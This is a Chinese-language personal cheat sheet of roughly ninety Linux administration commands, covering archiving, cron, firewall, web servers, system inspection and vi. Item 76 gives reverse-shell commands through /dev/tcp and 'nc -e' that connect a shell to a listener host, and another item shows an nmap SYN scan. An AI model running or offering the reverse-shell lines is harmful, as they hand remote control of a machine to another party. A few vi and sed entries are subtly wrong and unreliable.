一. linux常用命令
***************************************************
1.覆盖拷贝命令
cp -ri
2. a拷贝到b目录(移动或重命名)
#mv a b
mv - move (rename) files
如果b目录存在则a文件或目录会移动到b目录下,如果b目录不存在,则a会重命名为b文件或目录
3.修改服务器编码
vim /etc/sysconfig/i18n
vim /etc/profile
4.查看服务器编码:
locale;
5.输出日志启动服务:
../startup.sh ; tail -f ../logs/catalina.out
6.清空文件三种方法
method1:
#cat /dev/null > abc.txt
method2:
#cat "" > abc.txt
method3:
#> abc.txt
7.tar压缩、解压
压缩:
tar zcvf member.qz.0309.tar.gz member.china.root.qz
解压到当前目录:
tar zxvf jsp_simexam.tar.gz
解压.bz2文件
bunzip2 x264-snapshot-20070913-2245.tar.bz2
tar xvf x264-snapshot-20070913-2245.tar
或
tar -xvjf ffmpeg-checkout-snapshot.tar.bz2
unzip到制定目录:
unzip -d /root/ test.zip
压缩:xz [原文件名].tar
解压:unxz [原文件名].tar.xz
#tar -xvf Python-2.7.8.tar.xz
8.另一台服务器文件考到当前服务器:
scp zh@59.**.**.85:/home/zz/tag_simexam.tar.gz .
递归拷贝:
scp -r zdde@**.151.**.109:/home/fff/sh ./
scp chinaaccess.log_1[1-3].tar.gz admin@10.**.0.**:/tmp/
china.access.log_11.tar.gz、china.access.log_12.tar.gz、china.access.log_13.tar.gz
9.查看磁盘空间占用情况
df -l
10.查看文件夹大小
du -sh * | sort -n
11.定时任务配置:
crontab -e //编辑任务
crontab -l //查看任务
tail /var/log/cron //定时任务执行日志
下面的目录也可以设置按照daily,week,month的定时任务,配置信息可以查看/etc/anacrontab文件
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly
拿cron.daily来说明:
RANDOM_DELAY:最大延迟时间45分钟,
START_HOURS_RANGE:3点到22点之间执行,测试过,一般是多数都是3点22开始执行,但从注释翻译过来的意思是在3点到22点之间。
pdriod in days:1 每天的意思
delay in minutes:延迟多少分钟,这里是5分钟
综上,cron.daily的定时基本上在3.22开始到3.22延迟(45+5)50分钟区间执行。
12.打zip包
zip -r abc.zip abc
13.环境变量编码设置
export LC_ALL=UTF-8
vi /etc/profile
JAVA_HOME=/usr/java/jdk1.6.0_13
PATH=${JAVA_HOME}/bin
CLASSPATH=${JAVA_HOME}\jre\lib\rt.jar
14.虚拟目录创建 ln
#ln -s /web/project/op op //软连接
取消软链:
#rm op
15.Linux查看端口号是否被占用;
netstat -anp | grep ###
16.history增加执行时间;
(1).编辑/etc/bashrc文件
(2).末尾加:
export HISTFILESIZE=1000000000 #设置保存历史命令的文件大小
export HISTSIZE=1000000 # 保存历史命令条数
export PROMPT_COMMAND="history -a" #实时记录历史命令,
export HISTTIMEFORMAT="%Y-%m-%d_%H:%M:%S " # 记录每条历史命令的执行时间
(3).# source /etc/bashrc
或
echo 'export HISTTIMEFORMAT="%F %T `whoami` "' >> /etc/profile 然后source一下就
或
HISTTIMEFORMAT='%F %T>: '
(4).记录history文件:
~/.bash_history
(5)保存执行过的命令
#history -w
17.配置用户执行root权限文件
visudo
18. 查找文件
查找文件名以make开始的文件
find -name make*
查找tmp目录下的py文件同时文件名中含有test关键字的文件
find /tmp/ -name *.py|grep test
查找tmp目录下的py文件同时文件内容中含有test关键字的文件
find /tmp/ -name *.py|xargs grep test
19.查看环境变量
echo $JAVA_HOME
20. 查看命令在哪
which pdf2swf
21.nginx启动
./nginx
平滑重启
nginx -s reload;
验证配置:
nginx -t;
强制停止 :
pkill -9 nginx
22.查看服务器版本:
lsb_release -a
cat /etc/issue
cat /etc/redhat-release
操作系统内核版本
#cat /proc/version
#uname -a
23.查看机器位数系统位数
getconf LONG_BIT
24.python使用
mv movefile.sh movefile.py
python movefile.py files.txt
25.查看文件夹下文件个数
(1)查看当前目录下文件的个数
ls -l | grep "^-" | wc -l
(2)查看当前目录下文件的个数,包括子目录里的。
ls -lR| grep "^-" | wc -l
(3)查看某目录下文件夹(目录)的个数,包括子目录里的。
ls -lR| grep "^d" | wc -l
(4)查看目录所属(如查看tmp目录属主)
#ls -ld tmp
26.查看进程是否有效!
#ps -aux|grep ffmpeg
1010 ll /proc/28120/fd/
#strace -f -p 28120
#killall ffmpeg
27.上传功能大文件上传不了
(1)程序控制
(2)nginx配置;
(3)磁盘空间满;
28.yum安装及卸载
#yum install ... //安装
#yum remove ... //谨慎使用,会删除掉依赖,影响其他软件
#yum remove XXX --nodepes //不删除依赖
#yum provides */lsb_release //找到哪里可以下载到这个lsb_release命令
#yum list installed|grep zeromq3 //检查软件zeromq3是否安装
#yum install lrzsz //安装rz、sz工具
29.yum安装及卸载提示无法分配内存处理:
cd /var/lib/rpm/
for i in `ls | grep 'db.'`;do mv $i $i.bak;done
rpm --rebuilddb
yum clean all
yum update
修改源:/etc/yum.repos.d/
30.修改系统时间;
ntpdate asia.pool.ntp.org
date -s "2013-05-28"
前提,可以联网;
修改时区
#tzselect
#cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
31.dns配置;
文件:/etc/resolv.conf
32.防火墙配置
关闭防火墙--service iptables stop
打开端口--/sbin/iptables -A INPUT -p udp --dport 58 -j ACCEPT
chkconfig iptables --list
【centOS7】
systemctl stop|start|status firewalld
#允许某个端口开放#firewall-cmd --zone=public
--permanent --add-port=3306/tcp
#查看已经开通的端口号
# iptables -nL
【防火墙配置文件:】
/etc/sysconfig/iptables
33.递归修改文件夹下文件的权限
chmod -R 775 www.huabeisai.com_51100
34.查看cpu信息
cat /proc/cpuinfo
35.ant构建
Ant –buildfile build.xml
36.创建用户
adduser joe
passwd joe
37.hosts配置
vim /etc/hosts
38.配置域名服务器
vi /etc/resolv.conf
search localdomain
nameserver 202.***.196.***
nameserver 202.***.0.***
39.当前目录属于哪个盘符
df -h .
40.两台服务器同步目录
rsync -av --delete webroot root@***.151.***.46:/opt/web/.
【限速拷贝】
rsync -avPL --bwlimit=10000 /data/ /databak/
41.linux将安装的命令终端可执行,加到环境变量中即可。
vim /etc/profile
export PATH=....:/root/bin:/opt/mongodb/bin:/usr/local/swftools/bin
source /etc/profile
42.查看服务器ssh链接
ps -elf|grep sshd
43.端口号占用查看:
#ps -ef |grep 程序名
#netstat -nltp |grep 端口号或服务名
44.samba启动:
启动Samba服务
/etc/rc.d/init.d/smb start
停止Samba服务
/etc/rc.d/init.d/smb stop
重新启动Smaba服务
/etc/rc.d/init.d/smb restart
重新加载Smaba服务
/etc/rc.d/init.d/smb reload
编辑启动加载项
ntsysv
chkconfig -level n smb on/off
45.查看域名指向
#nslookup
46.count文件中一共有多少个exception
#cat abc.log | grep exception|wc -l
47.查看服务器连接状态
#netstat -nat |awk '{print $6}'|sort|uniq -c|sort -n
#netstat -an|grep 80|grep EST|wc -l
48.启动端口的简单服务,测试端口是否开通
#nc -lp 31101
http协议测试端口是否可以连通:
#telnet ip 31101
udb协议测试端口是否可以连通:
#nc -vuz 192.168.192.217 1514
49.查看机器配置
(1)cat /proc/cpuinfo |grep 'Intel(R) Xeon(R) CPU E5620 @ 2.40GHz'|wc -l
(2)操作系统查看:
#uname -a
#lsb_release -a
#cat /etc/redhat-release
#cat /etc/issue #CentOS<=6.5
#more /etc/issue
(3)操作系统位数查看:
getconf LONG_BIT
(4).检测linux系统是否为虚拟机/实体机
#dmesg | grep -i virtual
(5)查看CPU信息:
# 总核数 = 物理CPU个数 X 每颗物理CPU的核数
# 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数
# 查看物理CPU个数
#cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l
# 查看每个物理CPU中core的个数(即核数)
#cat /proc/cpuinfo| grep "cpu cores"| uniq
# 查看逻辑CPU的个数
#cat /proc/cpuinfo| grep "processor"| wc -l
查看CPU信息(型号)
#cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
查看内 存信息
# cat /proc/meminfo
50.fms关闭命令
/etc/init.d/fms stop
启动命令:
/etc/init.d/fms start
重启命令:
/etc/init.d/fms restart
硬盘挂载、硬盘共享。
51.查看占用资源的进程
top
lsof -p (PID)10746
52.服务加入自启动中
编辑
vim /etc/rc.local
文件即可
53.linux下openoffice启动
soffice -headless -accept="socket,host=127.0.0.1y,port=8100;urp;" -nofirststartwizard --display :0 &
54.挂载硬盘到某个目录下
mount /dev/vdb /opt/
55.服务器重启后,指定服务自启动|开机自启动
将需要自启动的脚本放到:
/etc/init.d
目录下即可;或:
vim /etc/rc.d/rc.local
加入要启动的服务命令,保存退出
56.查找、替换目录下所有文件中某个字符串
(1)查找:
grep -lr 'hello world' /opt/tmp
排除某些文件查找,提高查询效率:
grep -lr 'member.china.root' ./ --exclude=*.out --exclude=*.log
(2)替换/opt/tmp目录下搜有文件中zhangsan替换为lisi:
sed -i "s/zhangsan/lisi/g" 'grep zhangsan -lr /opt/tmp'
57.Linux环境变量配置
<1>环境变量配置;
(1)/etc/profile 全局,任何用户都可以;
(2)~/.bash_profile 只在当前用户生效;
<2>终端命令别名配置:
(1)/etc/bashrc 全局,任何用户都可以;
(2).bashrc 只在当前用户生效;
58.服务器禁ping命令
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
59、vi全局替换 vi替换 vim替换
替换所有“/local”为“”空字符串
:%s/\/local//g
"aaa"替换为"local"
:%s/aaa/local/g
【17行到33行行首加#号】
:17,33s/^/#/g
【去掉17行到33行#号】
:17,33s/^/#/g
:%s/^/#/g 所有行首加#
【vi拷贝17行到25行内容防盗26行】
:17,25 co 26
【vi行首加#号】
17,25s/^/#/g
【vi至行尾】
shift+GG
0#行首
$#行尾
【vi中查找某个字符串出现多少次】
:%s/string/&/gn
60、【重定向标准输出】
shell将标准错误输出重定向为标准输出
/tmp/test.sh >/tmp/test.log 2>&1
61、【root用户下执行admin用户权限】
crontab -u admin -l
crontab -u admin -e
!tail
!cat
62、【apache启动、停止、重启】
基本的操作方法:
本文假设你的apahce安装目录为/usr/local/apache2,这些方法适合任何情况
apahce启动命令:
推荐/usr/local/apache2/bin/apachectl start apaceh启动
apache停止命令
/usr/local/apache2/bin/apachectl stop 停止
apache重新启动命令:
/usr/local/apache2/bin/apachectl restart 重启
要在重启 Apache 服务器时不中断当前的连接,则应运行:
/usr/local/sbin/apachectl graceful
如果apache安装成为linux的服务的话,可以用以下命令操作:
service httpd start 启动
service httpd restart 重新启动
service httpd stop 停止服务
63.终端全屏 top cpu
ALT+Enter全屏
Sorry, terminal is not big enough
依然提示
mpstat -P ALL 2 1000
&
htop
64.【网络问题分析常用命令】
1、tracert
2、nslookup
3、tcpdump
4、strace
5、ping
65、修改ssh登录端口
#vim /etc/ssh/sshd_config
去掉#Port 22注释 ,重启sshd服务:
#/etc/init.d/sshd restart
ssh root@192.168.**.** -p 222
66、计算器
bc
67、linux shell 查看进程的可执行程序路径
ps -el | grep nginx
ls -l /proc/19120/exe | awk '{print $11}'
68、根据nginx运行进程查看,nginx配置文件位置
#ps -ef|grep nginx
#ll /proc/24208/exe
69、shell客户端最大化
ALT+Enter
70、vim|vi 回退撤销
u 撤销上一步的操作
Ctrl+r 恢复上一步被撤销的操作
71、stat查看文件状态
查看文件创建及修改情况
72、查看服务器ip命令
ip a|ifconfig
73、创建目录
#mkdir dir1
如果父目录不存在则自动创建
#mkdir /usr/local/soft/db/mysql -p
74.检查软件包是否安装
#rpm -qa | grep mysql
#yum list installed|grep mysql
#strings /lib64/libc.so.6 |grep GLIB
75.网络配置|联网配置|上网配置
配置ip->
vim /etc/sysconfig/network-scripts/ifcfg-eth0
配置域名解析->
vim /etc/resolv.conf
nameserver 202.106.0.20
nameserver 114.114.114.114
76.bash反弹
主机:
nc -lvp 8888
靶机(一下两种命令均可实现bash反弹):
#/bin/sh -i >& /dev/tcp/192.168.192.144/8888 0>&1
#nc -e /bin/bash 192.168.192.144 8888
77.服务器重启|关闭
重启:reboot|init 6
关闭:shutdown|init 0
78.selinux
查看SELinux的状态
# /usr/sbin/sestatus
关闭
# setenforce 0
查看设置
# getenforce
79.同时启动多个服务
#for i in {httpd,mysqld,sendmail}; do service $i restart; done
80.chown命令改变目录及其子目录文件的用户所属
# chown apache:apache ossec-wui/ -R
81.nmap
查看某个ip开启的端口号
# nmap -sS -T4 192.168.192.101 --open
82.sort
查找文本文件中重复的行
sort ./test.log | uniq -d
去重后的行(重复的行显示一条记录)
sort ./test.log -u
统计每一行有多少条记录,并按照第一列数值排序,倒序
sort 1pass03.txt |sort|uniq -c|sort -n -k1,1nr
83.split【文件切割】
split -b 100m test.log (将test.log按照每100兆字节一个文件进行分隔)
split -l 10000 test.log (将test.log按照每10000行数一个文件进行分隔)
84.查看端口下运行的程序
#lsof -i:22
#ls /proc/${pid}/exe -al //pid从上一步命令结果获得。
85.grep管道符结合--include参数
grep 'rules' -lr ./ --include=*.xml --include=*.sh
查找目录下以xml及sh结尾的文件中含有rules关键字的文件
86.调整系统syslog配置
# /etc/rsyslog.conf
# /etc/init.d/rsyslog restart
87.查看文件中非注释行以及非空行内容
# grep -v '^#' /etc/rsyslog.conf |grep -v "^$"
88.nohup
中控台工具
89.ntoppng
/usr/local/bin/ntopng -i eth3 -m 211.157.0.0/24 -G /var/tmp/ntopng.gid -e -w 443 -U root
90.atop
linux服务器监控工具,它的数据采集主要包括:CPU、内存、磁盘、网络、进程等。
91.ngrep监测某一端口数据
#ngrep -q -d any port 1514
92.查看Linux哪个进程占用的SWAP分区比较多
#for i in $(ls /proc | grep "^[0-9]" | awk '$0>100'); do awk '/Swap:/{a=a+$2}END{print '"$i"',a/1024"M"}' /proc/$i/smaps;done| sort -k2nr | head
93.swap分区的查看挂载及卸载
#swapon -s #查看
#swapoff /swapfile #卸载
#swapon /swapfile #重新挂载
swap分区被占满后的修复方式:卸载后再重新挂载